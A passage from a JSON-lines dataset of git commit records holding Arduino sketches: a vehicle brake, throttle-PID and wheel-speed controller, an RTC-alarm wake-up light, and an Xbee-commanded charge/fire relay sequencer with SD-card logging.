DEAD_ZONE);\n}\n\/\/ Input is not in brake dead zone\nboolean liveBrake(int brake)\n{\n return (brake < MIDDLE - DEAD_ZONE);\n}\n\/\/ Emergency stop\nvoid E_Stop()\n{\n brake(MAX_BRAKE_OUT);\n moveVehicle(MIN_ACC_OUT);\n \/\/ TO DO: disable 36V power\n}\n\/\/Send values to output pin\nvoid steer(int pos)\n{\n analogWrite(STEER_OUT_PIN, pos);\n}\nvoid brake(int amount)\n{\n analogWrite(BRAKE_OUT_PIN, amount);\n Serial.println(amount);\n}\n\/*---------------------------------------------------------------------------------------*\/\n\/* DAC_Write applies value to address, producing an analog voltage.\n\/\/ address: 0 for chan A; 1 for chan B; 2 for chan C; 3 for chan D\n\/\/ value: digital value converted to analog voltage\n\/\/ Output goes to mcp 4802 Digital-Analog Converter Chip via SPI\n\/\/ There is no input back from the chip.\n*\/\nvoid DAC_Write(int address, int value)\n\/*\nREGISTER 5-3: WRITE COMMAND REGISTER FOR MCP4802 (8-BIT DAC)\nA\/B \u2014 GA SHDN D7 D6 D5 D4 D3 D2 D1 D0 x x x x\nbit 15 bit 0\nbit 15 A\/B: DACA or DACB Selection bit\n1 = Write to DACB\n0 = Write to DACA\nbit 14 \u2014 Don\u2019t Care\nbit 13 GA: Output Gain Selection bit\n1 = 1x (VOUT = VREF * D\/4096)\n0 = 2x (VOUT = 2 * VREF * D\/4096), where internal VREF = 2.048V.\nbit 12 SHDN: Output Shutdown Control bit\n1 = Active mode operation. VOUT is available.\n0 = Shutdown the selected DAC channel. Analog output is not available at the channel that was shut down.\nVOUT pin is connected to 500 k (typical)\nbit 11-0 D11:D0: DAC Input Data bits. Bit x is ignored.\nWith 4.95 V on Vcc, observed output for 255 is 4.08V.\nThis is as documented; with gain of 2, maximum output is 2 * Vref\n*\/\n{\n int byte1 = ((value & 0xF0)>>4) | 0x10; \/\/ acitve mode, bits D7-D4\n int byte2 = (value & 0x0F)<<4; \/\/ D3-D0\n if (address < 2)\n {\n \/\/ take the SS pin low to select the chip:\n digitalWrite(SelectAB,LOW);\n if (address >= 0)\n {\n if (address == 1)\n byte1 |= 0x80; \/\/ second channnel\n SPI.transfer(byte1);\n SPI.transfer(byte2);\n }\n \/\/ take the SS pin high to de-select the chip:\n digitalWrite(SelectAB,HIGH);\n }\n else\n {\n \/\/ take the SS pin low to select the chip:\n digitalWrite(SelectCD,LOW);\n if (address <= 3)\n {\n if (address == 3)\n byte1 |= 0x80; \/\/ second channnel\n SPI.transfer(byte1);\n SPI.transfer(byte2);\n }\n \/\/ take the SS pin high to de-select the chip:\n digitalWrite(SelectCD,HIGH);\n }\n}\nvoid moveVehicle(int acc)\n{\n \/* Observed behavior on ElCano #1 E-bike no load (May 10, 2013, TCF)\n 0.831 V at rest 52 counts\n 1.20 V: nothing 75\n 1.27 V: just starting 79\n 1.40 V: slow, steady 87\n 1.50 V: brisker 94\n 3.63 V: max 227 counts\n 255 counts = 4.08 V\n *\/\n DAC_Write(DAC_CHANNEL, acc);\n}\n\n\/*========================================================================\/\n *============================WheelRev4 code==============================\/\n *=======================================================================*\/\n \n\/* Wheel Revolution Interrupt routine\n Ben Spencer 10\/21\/13\n Modified by Tyler Folsom 3\/16\/14\n \n A cyclometer gives a click once per revolution. \n This routine computes the speed.\n*\/\n\/\/ CLICK_IN defined: use interrupt; not defined: simulate with timer\n#define CLICK_IN 1\n#define LOOP_TIME_MS 1000\n#define CLICK_TIME_MS 1000\n#define SerialOdoOut Serial3\n#define SerialMonitor Serial\n\n#define WHEEL_DIAMETER_MM 397\n#define MEG 1000000\n#define MAX_SPEED_KPH 50\n#define MAX_SPEED_mmPs ((MAX_SPEED_KPH * MEG) \/ 3600)\n\/\/ MAX_SPEED_mmPs = 13,888 mm\/s = 13.888 m\/s\nunsigned long MinTickTime_ms;\n\/\/ ((WHEEL_DIAMETER_MM * 3142) \/ MAX_SPEED_mmPs)\n\/\/ MinTickTime_ms = 89 ms\n#define MIN_SPEED_mPh 500\n\/\/ A speed of less than 0.5 KPH is zero.\nunsigned long MaxTickTime_ms;\n\/\/ ((WHEEL_DIAMETER_MM * 3142) \/ MIN_SPEED_mmPs)\n\/\/ MinTickTime_ms = 9239 ms = 9 sec\n\nfloat Odometer_m = 0;\nlong SpeedCyclometer_mmPs = 0;\n\/\/ Speed in revolutions per second is independent of wheel size.\nfloat SpeedCyclometer_revPs = 0.0;\/\/revolutions per sec\nvolatile unsigned long TickTime = 0;\nlong WheelRev_ms = 0;\nunsigned long OldTick = 0;\n#define IRQ_NONE 0\n#define IRQ_FIRST 1\n#define IRQ_RUNNING 2\nvolatile int InterruptState = IRQ_NONE;\nunsigned long ShowTime_ms;\n\n\/*---------------------------------------------------------------------------------------*\/ \n\/\/ WheelRev is called by an interrupt.\nvoid WheelRev()\n{\n static int flip = 0;\n unsigned long tick; \n noInterrupts();\n tick = millis();\n if (InterruptState != IRQ_RUNNING)\n \/\/ Need to process 1st two interrupts before results are meaningful.\n InterruptState++;\n\n if (tick - TickTime > MinTickTime_ms)\n {\n OldTick = TickTime;\n TickTime = tick;\n }\n if (flip)\n digitalWrite(13, LOW);\n else\n digitalWrite(13, HIGH);\n flip =!flip; \n \n interrupts();\n}\n\/*---------------------------------------------------------------------------------------*\/ \n\nvoid setupWheelRev() \n{ \n\n SerialOdoOut.begin(115200); \/\/ C6 to C4 \n pinMode(13, OUTPUT); \/\/led\n digitalWrite(13, LOW);\/\/turn LED off\n \n pinMode(2, INPUT);\/\/pulls input HIGH\n float MinTick = WHEEL_DIAMETER_MM * PI;\n\/\/ SerialMonitor.print (\" MinTick = \");\n\/\/ SerialMonitor.println (MinTick);\n MinTick *= 1000.0;\n MinTick \/= MAX_SPEED_mmPs;\n\/\/ SerialMonitor.print (MinTick);\n MinTickTime_ms = MinTick;\n SerialMonitor.print (\" MinTickTime_ms = \");\n SerialMonitor.println (MinTickTime_ms);\n\n\/\/ SerialMonitor.print (\" MIN_SPEED_mPh = \");\n\/\/ SerialMonitor.print (MIN_SPEED_mPh);\n float MIN_SPEED_mmPs = ((MIN_SPEED_mPh * 1000.0) \/ 3600.0);\n \/\/ MIN_SPEED_mmPs = 135 mm\/s\n\/\/ SerialMonitor.print (\" MIN_SPEED_mmPs = \");\n\/\/ SerialMonitor.print (MIN_SPEED_mmPs);\n float MaxTick = (WHEEL_DIAMETER_MM * PI * 1000.0) \/ MIN_SPEED_mmPs;\n\/\/ SerialMonitor.print (\" MaxTick = \");\n\/\/ SerialMonitor.print (MaxTick);\n MaxTickTime_ms = MaxTick;\n\/\/ SerialMonitor.print (\" MaxTickTime = \");\n\/\/ SerialMonitor.println (MaxTickTime_ms);\n TickTime = millis();\n \/\/ OldTick will normally be less than TickTime.\n \/\/ When it is greater, TickTime - OldTick is a large positive number,\n \/\/ indicating that we have not moved.\n \/\/ TickTime would overflow after days of continuous operation, causing a glitch of\n \/\/ a display of zero speed. It is unlikely that we have enough battery power to ever see this.\n OldTick = TickTime;\n ShowTime_ms = TickTime;\n InterruptState = IRQ_NONE;\n\n attachInterrupt (0, WheelRev, RISING);\/\/pin 2 on Mega\n SerialMonitor.print(\"TickTime: \");\n SerialMonitor.print(TickTime);\n SerialMonitor.print(\" OldTick: \");\n SerialMonitor.println(OldTick);\n \n SerialMonitor.println(\"setup complete\");\n\n}\n\/*---------------------------------------------------------------------------------------*\/ \n\nvoid show_speed(SerialData *Results)\n{\n\n ShowTime_ms = millis(); \n if (InterruptState == IRQ_NONE || InterruptState == IRQ_FIRST) \/\/ no OR 1 interrupts\n {\n SpeedCyclometer_mmPs = 0;\n SpeedCyclometer_revPs = 0;\n } \n\n \/\/check if velocity has gone to zero\n else\n {\n if(ShowTime_ms - TickTime > MaxTickTime_ms)\n { \/\/ stopped\n\/* SerialMonitor.print(\"Stop. Showtime: \");\n SerialMonitor.print(ShowTime_ms);\n SerialMonitor.print(\" Tick: \");\n SerialMonitor.println(TickTime); *\/\n SpeedCyclometer_mmPs = 0;\n SpeedCyclometer_revPs = 0;\n }\n else\n { \/\/ moving\n WheelRev_ms = max(TickTime - OldTick, ShowTime_ms - TickTime);\n if (InterruptState == IRQ_RUNNING)\n { \/\/ have new data\n \n float Circum_mm = (WHEEL_DIAMETER_MM * PI);\n if (WheelRev_ms > 0)\n {\n SpeedCyclometer_revPs = 1000.0 \/ WheelRev_ms;\n SpeedCyclometer_mmPs = Circum_mm * SpeedCyclometer_revPs;\n }\n else\n {\n SpeedCyclometer_mmPs = 0;\n SpeedCyclometer_revPs = 0;\n }\n }\n\n }\n }\n Odometer_m += (float)(LOOP_TIME_MS * SpeedCyclometer_mmPs) \/ MEG;\n Results->speed_cmPs = SpeedCyclometer_mmPs \/ 10;\n writeSerial(&Serial3, Results);\n\n \/\/ Show on monitor\n\/* SerialMonitor.print(\"\\nWheelRev (ms): \");\n SerialMonitor.print(WheelRev_ms);\n SerialMonitor.print(\" SENSOR \");\n SerialMonitor.print(\"{Speed \");\n SerialMonitor.print(SpeedCyclometer_revPs);\n SerialMonitor.println(\"}\\0\");\n *\/\n}\n\n\/*======================ReadTurnAngle======================*\/\nint TurnAngle_degx10()\n{\n long new_turn_degx1000;\n int new_turn_degx10;\n long min_ang, max_ang;\n bool OK_right = false;\n bool OK_left = false;\n int right = analogRead(A3);\n int left = analogRead(A2);\n Serial.print(\"Left\"); Serial.print(\"\\t\"); Serial.println(left);\n Serial.print(\"Right\"); Serial.print(\"\\t\"); Serial.println(right);\n if (RIGHT_MIN_COUNT <= right && right <= RIGHT_MAX_COUNT)\n OK_right = true; \n if (LEFT_MIN_COUNT <= left && left <= LEFT_MAX_COUNT)\n OK_left = true; \n long right_degx1000 = (right - RIGHT_STRAIGHT_A3) * RIGHT_DEGx1000pCOUNT; \n long left_degx1000 = (left - LEFT_STRAIGHT_A2) * LEFT_DEGx1000pCOUNT; \n \n expected_turn_degx1000 = 2 * old_turn_degx1000 - (older_turn_degx1000);\n if (OK_left && OK_right)\n { \/\/ use the median\n if (right_degx1000 < left_degx1000)\n {\n min_ang = right_degx1000;\n max_ang = left_degx1000;\n }\n else\n {\n min_ang = left_degx1000;\n max_ang = right_degx1000;\n }\n if (expected_turn_degx1000 < min_ang)\n new_turn_degx1000 = min_ang;\n else if (expected_turn_degx1000 > max_ang)\n new_turn_degx1000 = max_ang;\n else \/\/ TO DO; limit this value to keep it bounded when both sensors fail\n new_turn_degx1000 = expected_turn_degx1000;\n }\n else if (OK_left)\n {\n new_turn_degx1000 = left_degx1000;\n }\n else if (OK_right)\n {\n new_turn_degx1000 = right_degx1000;\n }\n else\n {\n new_turn_degx1000 = expected_turn_degx1000;\n }\n new_turn_degx10 = (int) (new_turn_degx1000 \/ 100);\n older_turn_degx1000 = old_turn_degx1000;\n old_turn_degx1000 = new_turn_degx1000;\n return new_turn_degx10;\n}\n\/*---------------------------------------------------------------------------------------*\/\nvoid Throttle_PID(long error_speed_mmPs)\n\n\/* Use throttle and brakes to keep vehicle at a desired speed.\n A PID controller uses the error in the set point to increase or decrease the juice.\n P = proportional; change based on present error\n I = integra; change based on recent sum of errors\n D = derivative: change based on how error is changing.\n The controller needs to avoid problems of being too sluggish or too skittery.\n A sluggish control (overdamped) takes too long to reach the set-point. \n A skitterish control (underdamped) can overshoot, then undershoot, producing \n oscillations and jerky motion.\n Getting the right control is a matter of tuning right parts of P, I, and D,\n which is something of a black art.\n For more information, search for:\n VanDoren Proportional Integral Derivative Control\n*\/\n{ \n static long speed_errors[ERROR_HISTORY];\n static int error_index = 0;\n int i;\n static long error_sum = 0;\n long mean_speed_error = 0;\n long extrapolated_error = 0;\n long PID_error;\n const float P_tune = 0.4;\n const float I_tune = 0.5;\n const float D_tune = 0.1;\n const long speed_tolerance_mmPs = 75; \/\/ about 0.2 mph\n \/\/ setting the max_error affacts control: anything bigger gets maximum response\n const long max_error_mmPs = 2500; \/\/ about 5.6 mph\n\n error_sum -= speed_errors[error_index];\n speed_errors[error_index] = error_speed_mmPs;\n error_sum += error_speed_mmPs;\n mean_speed_error = error_sum \/ ERROR_HISTORY;\n i = (error_index-1) % ERROR_HISTORY;\n extrapolated_error = 2 * error_speed_mmPs - speed_errors[i];\n \n PID_error = P_tune * error_speed_mmPs \n + I_tune * mean_speed_error\n + D_tune * extrapolated_error;\n if (PID_error > speed_tolerance_mmPs)\n { \/\/ too fast\n long throttle_decrease = (FullThrottle - MinimumThrottle) * PID_error \/ max_error_mmPs;\n throttle_control -= throttle_decrease;\n if (throttle_control < MinimumThrottle)\n throttle_control = MinimumThrottle;\n moveVehicle(throttle_control);\n \n long brake_increase = (NoBrake - FullBrake) * PID_error \/ max_error_mmPs;\n \/\/ NoBrake = 207; FullBrake = 167; \n brake_control -= brake_increase;\n if (brake_control < FullBrake)\n brake_control = FullBrake;\n brake(brake_control);\n }\n else if (PID_error < speed_tolerance_mmPs)\n { \/\/ too slow\n long throttle_increase = (FullThrottle - MinimumThrottle) * PID_error \/ max_error_mmPs;\n throttle_control += throttle_increase;\n if (throttle_control > FullThrottle)\n throttle_control = FullThrottle;\n moveVehicle(throttle_control);\n \n \/\/ release brakes\n long brake_decrease = (NoBrake - FullBrake) * PID_error \/ max_error_mmPs;\n \/\/ NoBrake = 207; FullBrake = 167; \n brake_control += brake_decrease;\n if (brake_control > NoBrake)\n brake_control = NoBrake;\n brake(brake_control);\n }\n \/\/ else maintain current speed\n \/\/Serial.print(\"Thottle Brake,\"); \/\/ csv for spreadsheet\n Serial.print(throttle_control);\n Serial.print(\",\");\n Serial.print(brake_control);\n Serial.print(\",\");\n Serial.print(drive_speed_mmPs); Serial.print(\",\");\n Serial.println(sensor_speed_mmPs); \n}\n\n\/*---------------------------------------------------------------------------------------*\/\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Elcano_C2_LowLevel\/Elcano_C2_LowLevel\/Elcano_C2_LowLevel.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2d7a2e5418ee3f3d6796e63b6b2838f00e56b4b3","subject":"Current code for the device","message":"Current code for the device","repos":"breadboardbasics\/Lucid,breadboardbasics\/Lucid","old_file":"RevA_Code.ino","new_file":"RevA_Code.ino","new_contents":"\/\/Version 1.0 - Tyler Sisk - 1\/2\/15\n\/\/Use with arduino, place in folder named RevA_Code, also must have the Rtc_Pcf8563 library (look for it on github) \n\/\/Open in arduino and go to file, upload using programmer\n\/\/Make sure that your programmer is selected under tools. \n\n#include <Wire.h>\n#include <Rtc_Pcf8563.h>\n#include <SPI.h>\n#include <avr\/sleep.h>\n\nint led = 9;\nconst int cs = 10;\nint ocon = 8;\nRtc_Pcf8563 rtc;\nvolatile int alarm_flag=0;\n\nvoid isr(){ \/\/interrupt service routine\n alarm_flag=1;\n}\n\nvoid setup(){\n pinMode(led,OUTPUT);\n pinMode (cs, OUTPUT);\n pinMode (ocon, OUTPUT);\n pinMode(3, INPUT);\n SPI.begin();\n rtc.initClock();\n delay(1000);\n attachInterrupt(0, isr, FALLING);\n \n digitalWrite(cs,HIGH);\n digitalWrite(ocon,LOW);\n digitalWrite(led,LOW);\n\n \/\/This part is not yet used but will be in the final version\n \/\/const char time[] = __TIME__; \/\/Get current time from PC when compiling\n \/\/int myhour = 10*(time[0] - '0') + (time[1] - '0');\n \/\/int mymin = 10*(time[3] - '0') + (time[4] - '0');\n \/\/int mysec = 10*(time[6] - '0') + (time[7] - '0');\n \n rtc.setTime(23,22,52);\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/set time to wake up\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n int wakemin = 23;\n int wakehour = 23;\n rtc.setAlarm(wakemin, wakehour, 99, 99); \/\/min,hour,day,weekday, 99 = no alarm value to be set \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n}\n\nvoid digitalPotWrite(int value)\n{\n digitalWrite(cs, LOW);\n SPI.transfer(0x11);\n SPI.transfer(value);\n digitalWrite(cs, HIGH);\n}\n\nvoid clr_alarm()\n{\n detachInterrupt(0);\n rtc.clearAlarm();\n delay(1000);\n alarm_flag=0;\n attachInterrupt(0, isr, FALLING);\n}\n\nvoid loop(){\n\n if(alarm_flag == 0){\n sleep_enable();\n set_sleep_mode(SLEEP_MODE_STANDBY);\n sleep_mode(); \/\/go to sleep\n sleep_disable();\n }\n\n if(alarm_flag == 1){\n clr_alarm();\n digitalWrite(ocon,HIGH);\n int i = 255;\n digitalWrite(led,HIGH);\n\n while(i >= 0){ \/\/Ramp Up approximately 10 seconds\n delay(40);\n digitalPotWrite(i);\n i--;\n }\n\n delay(120000); \/\/Sustain for 2 minutes\n\n while(i <= 255){ \/\/Ramp Down approximately 10 seconds\n delay(40);\n digitalPotWrite(i);\n i++;\n }\n digitalWrite(led,LOW);\n }\n}\t\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RevA_Code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9bcb7f7618d23002a3a86f8a4ca8fbf1994ad992","subject":"Aumentata robustezza comunicazione Xbee e loop","message":"Aumentata robustezza comunicazione Xbee e loop\n","repos":"IcarusFlyTeam\/Rhino","old_file":"Rhino.ino","new_file":"Rhino.ino","new_contents":"#include <SPI.h>\n#include <SD.h>\n#include <IcarusXbee.h>\n#include <IcarusCelle.h>\n#include <IcarusIO.h>\n\n#define myDebugSerial Serial\n#define SerialXbee Serial3\n#define PIN_BUZZER 12\n#define LED_CHARGE 9\n#define LED_FIRE 10\n#define LED_TEST 11\n#define RELE_CHARGE 5\n#define RELE_FIRE 6\n#define RELE_SAFE 7\n#define BUTTON_DISCHARGE 8\n#define T_SAFE_DISCHARGE 10000\n#define T_CHARGE 30000\n#define T_FIRE 3000\n#define T_TOLL 2000\n#define T_LAMP 1000\n\n\ntypedef enum {\n\tCharge,\n\tsafeDischarge,\n\tFire,\n\tcountDown,\n\ttestMode,\n\tIdle\n} mode;\n\nIcarusIO IO(&myDebugSerial);\nIcarusXbee myXbee(&IO,crocodile,&SerialXbee);\nFile dataFile;\ntypeCmdFire CmdFireReceived;\nmode Fase;\nbool fireEnabled;\nbool countdownStarted;\nuint16_t t_countdown;\n\nunsigned long t_lastDataSent,t_startCmdFire, t_lastLamp;\n\nvoid setup() {\n myDebugSerial.begin(115200);\n setupSDCard();\n setupXbee();\n setupPinIO();\n IO.Time = millis();\n t_lastDataSent = IO.Time;\n t_startCmdFire = IO.Time;\n t_lastLamp= IO.Time;\n Fase = Idle;\n fireEnabled = false;\n}\n\nvoid loop() {\n\n\tIO.Time = millis();\n\n\t\/\/ make a string for assembling the data to log:\n\tString dataString = \"\";\n\t\/\/ read three sensors and append to the string:\n\tif (digitalRead(BUTTON_DISCHARGE) == HIGH) {\n\t\tdigitalWrite(RELE_CHARGE, LOW);\n\t\tdigitalWrite(RELE_FIRE, LOW);\n\t\tdigitalWrite(RELE_SAFE, HIGH);\n\t\tdigitalWrite(LED_FIRE, LOW);\n\t\tdigitalWrite(LED_TEST, LOW);\n\t\tdigitalWrite(LED_CHARGE, LOW);\n\t\tFase = safeDischarge;\n\t\tt_startCmdFire = IO.Time;\n\t\tmyXbee.SendCmdFire(scaricaSicura);\n\t\tdataFile.println(String(String(IO.Time)+\" - Safe Discharge button pressed\"));\n\t\tdataFile.flush();\t\n\t}\n\tmyXbee.Read();\n\tif (IO.cmdFireAvailable) {\n\t\tCmdFireReceived=myXbee.readCmdFire();\n\t\tif (CmdFireReceived == stopEmergenza || CmdFireReceived == Fuoco)\n\t\t{\n\t\t\tif (CmdFireReceived == stopEmergenza) {\n\t\t\t\tdigitalWrite(RELE_SAFE, LOW);\n\t\t\t\tdigitalWrite(LED_TEST, LOW);\n\t\t\t\tdigitalWrite(RELE_FIRE, LOW);\n\t\t\t\tdigitalWrite(LED_FIRE, LOW);\n\t\t\t\tdigitalWrite(RELE_CHARGE, LOW);\n\t\t\t\tdigitalWrite(LED_CHARGE, LOW);\n\t\t\t\tFase = Idle;\n\t\t\t\tt_startCmdFire = IO.Time;\n\t\t\t\tmyXbee.SendCmdFire(stopEmergenza);\n\t\t\t\tdataFile.println(String(String(IO.Time) + \" - Emergency stop command received\"));\n\t\t\t\tmyDebugSerial.println(\"Emergency stop command received\");\n\t\t\t}\n\t\t\telse if (CmdFireReceived == Fuoco) {\n\t\t\t\tif (((IO.Time - t_startCmdFire) >= (t_countdown - T_TOLL)) &&\n\t\t\t\t\t((IO.Time - t_startCmdFire) <= (t_countdown + T_TOLL))) {\n\t\t\t\t\tFase = Fire;\n\t\t\t\t\tfireEnabled = true;\n\t\t\t\t\tmyXbee.SendCmdFire(Fuoco);\n\t\t\t\t\tdataFile.println(String(String(IO.Time) + \" - Fire command received\"));\n\t\t\t\t\tmyDebugSerial.println(\"Fire command received\");\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tFase = Idle;\n\t\t\t\t\tmyXbee.SendCmdFire(Timeout);\n\t\t\t\t\tdataFile.println(String(String(IO.Time) + \" - Fire command not received on time\"));\n\t\t\t\t\tmyDebugSerial.println(\"Fire command not received on time\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse if (Fase==Idle)\n\t\t{\n\t\t\tswitch (CmdFireReceived)\n\t\t\t{\n\t\t\tcase Carica:\n\t\t\t\tdigitalWrite(RELE_SAFE, LOW);\n\t\t\t\tdigitalWrite(RELE_FIRE, LOW);\n\t\t\t\tdigitalWrite(RELE_CHARGE, HIGH);\n\t\t\t\tdigitalWrite(LED_TEST, LOW);\n\t\t\t\tdigitalWrite(LED_FIRE, LOW);\n\t\t\t\tdigitalWrite(LED_CHARGE, HIGH);\n\t\t\t\tFase = Charge;\n\t\t\t\tt_startCmdFire = IO.Time;\n\t\t\t\tmyXbee.SendCmdFire(Carica);\n\t\t\t\tdataFile.println(String(String(IO.Time) + \" - Charge command received\"));\n\t\t\t\tmyDebugSerial.println(\"Charge command received\");\n\t\t\t\tbreak;\n\t\t\tcase scaricaSicura:\n\t\t\t\tdigitalWrite(RELE_CHARGE, LOW);\n\t\t\t\tdigitalWrite(RELE_FIRE, LOW);\n\t\t\t\tdigitalWrite(RELE_SAFE, HIGH);\n\t\t\t\tdigitalWrite(LED_CHARGE, LOW);\n\t\t\t\tdigitalWrite(LED_FIRE, LOW);\n\t\t\t\tdigitalWrite(LED_TEST, LOW);\t\t\t\n\t\t\t\tFase = safeDischarge;\n\t\t\t\tt_startCmdFire = IO.Time;\n\t\t\t\tmyXbee.SendCmdFire(scaricaSicura);\n\t\t\t\tdataFile.println(String(String(IO.Time) + \" - Safe Discharge command received\"));\n\t\t\t\tmyDebugSerial.println(\"Safe Discharge command received\");\n\t\t\t\tbreak;\n\t\t\tcase avviaCountdown:\n\t\t\t\tdigitalWrite(RELE_SAFE, LOW);\n\t\t\t\tdigitalWrite(LED_TEST, LOW);\n\t\t\t\tdigitalWrite(RELE_FIRE, LOW);\n\t\t\t\tdigitalWrite(LED_FIRE, LOW);\n\t\t\t\tdigitalWrite(RELE_CHARGE, LOW);\n\t\t\t\tdigitalWrite(LED_CHARGE, LOW);\n\t\t\t\tFase = countDown;\n\t\t\t\tt_startCmdFire = IO.Time;\n\t\t\t\tmyXbee.SendCmdFire(avviaCountdown);\n\t\t\t\tdataFile.println(String(String(IO.Time) + \" - Start countdown command received\"));\n\t\t\t\tmyDebugSerial.println(\"Start countdown command received\");\n\t\t\t\tbreak;\n\t\t\tcase testConnessione:\n\t\t\t\tdigitalWrite(RELE_SAFE, LOW);\n\t\t\t\tdigitalWrite(LED_TEST, HIGH);\n\t\t\t\tdigitalWrite(RELE_FIRE, LOW);\n\t\t\t\tdigitalWrite(LED_FIRE, LOW);\n\t\t\t\tdigitalWrite(RELE_CHARGE, LOW);\n\t\t\t\tdigitalWrite(LED_CHARGE, LOW);\n\t\t\t\tFase = testMode;\n\t\t\t\tt_startCmdFire = IO.Time;\n\t\t\t\tmyXbee.SendCmdFire(testConnessione);\n\t\t\t\tdataFile.println(String(String(IO.Time) + \" - Test command received\"));\n\t\t\t\tmyDebugSerial.println(\"Test command received\");\n\t\t\t\tbreak;\n\t\t\tdefault: break;\n\t\t\t}\n\t\t}\n\t\tdataFile.flush();\n\t}\n\tswitch (Fase) {\n\tcase Charge:\n\t\tif (IO.Time - t_startCmdFire >= T_CHARGE)\n\t\t{\n\t\t\tFase = Idle;\n\t\t\tdigitalWrite(RELE_CHARGE, LOW);\n\t\t\tdigitalWrite(LED_CHARGE, LOW);\n\t\t\tmyXbee.SendCmdFire(Carica);\n\t\t\tmyDebugSerial.println(\"Carica completata\");\n\t\t}\n\t\tbreak;\n\tcase safeDischarge:\n\t\tif (IO.Time - t_startCmdFire >= T_SAFE_DISCHARGE)\n\t\t{\n\t\t\tFase = Idle;\n\t\t\tdigitalWrite(RELE_SAFE, LOW);\n\t\t\tmyXbee.SendCmdFire(scaricaSicura);\n\t\t\tmyDebugSerial.println(\"Scarica sicura completata\");\n\t\t}\n\t\tbreak;\n\tcase Fire:\n\t\tif (IO.Time - t_startCmdFire >= T_FIRE)\n\t\t{\n\t\t\tdigitalWrite(RELE_FIRE, LOW);\n\t\t\tdigitalWrite(LED_FIRE, LOW);\n\t\t\tFase = Idle;\n\t\t\tt_startCmdFire = IO.Time;\n\t\t\tfireEnabled = false;\n\t\t\tcountdownStarted = false;\n\t\t\tmyXbee.SendCmdFire(Fuoco);\n\t\t\tmyDebugSerial.println(\"Fuoco completato\");\n\t\t}\n\t\tbreak;\n\tcase countDown:\n\t\tif (IO.cmdAvailable)\n\t\t{\n\t\t\tt_countdown = myXbee.getCmd();\n\t\t\tmyXbee.addToPayload(Comando);\n\t\t\tmyXbee.Send();\n\t\t\tcountdownStarted = true;\n\t\t\tmyDebugSerial.println(\"Tempo di countdown ricevuto\");\n\t\t}\n\t\tif (IO.Time - t_startCmdFire >= t_countdown * 1000)\n\t\t{\n\t\t\tif (fireEnabled) {\n\t\t\t\tdigitalWrite(RELE_FIRE, HIGH);\n\t\t\t\tdigitalWrite(LED_FIRE, HIGH);\n\t\t\t\tFase = Fire;\n\t\t\t\tt_startCmdFire = IO.Time;\n\t\t\t\tmyXbee.SendCmdFire(avviaCountdown);\n\t\t\t\tmyDebugSerial.println(\"Countdown avviato\");\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tFase = Idle;\n\t\t\t\tmyXbee.SendCmdFire(MissingCountdown);\n\n\t\t\t}\n\t\t}\n\t\tbreak;\n\tcase testMode:\n\t\tif (IO.Time - t_startCmdFire >= T_LAMP) {\n\t\t\tFase = Idle;\n\t\t\tdigitalWrite(LED_TEST, LOW);\n\t\t\tmyDebugSerial.println(\"Stop Led\");\n\t\t\tbreak;\n\t\t}\n\t\tif (IO.Time - t_lastLamp > 200)\n\t\t{\n\t\t\tdigitalWrite(LED_TEST, !digitalRead(LED_TEST));\n\t\t\tt_lastLamp = IO.Time;\n\t\t\tmyDebugSerial.println(\"Switch\");\n\t\t}\n\t\tbreak;\n\tcase Idle:\n\tdefault: break;\n\t}\n\t}\n\n\nvoid setupSDCard() {\n\tconst int chipSelect = 4;\n\tmyDebugSerial.print(\"Initializing SD card...\");\n\t\/\/ see if the card is present and can be initialized:\n\tif (!SD.begin(chipSelect)) {\n\t\tmyDebugSerial.println(\"Card failed, or not present\");\n\t\t\/\/ don't do anything more:\n\t\treturn;\n\t}\n\tmyDebugSerial.println(\"SDcard initialized.\");\n\n\tint numfile = 0;\n\tString nomefile = \"RHINO_\" + String(numfile) + \".txt\";\n\twhile (SD.exists(nomefile)) {\n\t\tnumfile++;\n\t\tnomefile = \"RHINO_\" + String(numfile) + \".txt\";\n\t}\n\tdataFile = SD.open(nomefile, FILE_WRITE);\n\tdelay(100);\n\tmyDebugSerial.print(\"Opened \");\n\tmyDebugSerial.println(nomefile);\n\tdelay(1000);\n\n}\n\nvoid setupXbee() {\n\tSerialXbee.begin(115200);\n\tif (!SerialXbee)\n\t{\n\t\tmyDebugSerial.println(\"Xbee not ready!\");\n\t}\n\tif (SerialXbee) myDebugSerial.println(\"Communications initialized\");\n}\n\nvoid setupPinIO() {\n\tpinMode(LED_CHARGE, OUTPUT);\n\tpinMode(LED_FIRE, OUTPUT);\n\tpinMode(LED_TEST, OUTPUT);\n\tpinMode(RELE_CHARGE, OUTPUT);\n\tpinMode(RELE_FIRE, OUTPUT);\n\tpinMode(RELE_SAFE, OUTPUT);\n\tpinMode(PIN_BUZZER, OUTPUT);\n\tpinMode(BUTTON_DISCHARGE, INPUT);\n\tdigitalWrite(LED_CHARGE, LOW);\n\tdigitalWrite(LED_FIRE, LOW);\n\tdigitalWrite(LED_TEST, LOW);\n\tdigitalWrite(RELE_CHARGE, LOW);\n\tdigitalWrite(RELE_FIRE, LOW);\n\tdigitalWrite(RELE_SAFE, LOW);\n\tdigitalWrite(PIN_BUZZER, LOW);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'Rhino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6b44be94f7ada01e4e5dc293b2b62fb7a3d59f87","subject":"Diff pins for LED, old ones are in use by network.","message":"Diff pins for LED, old ones are in use by 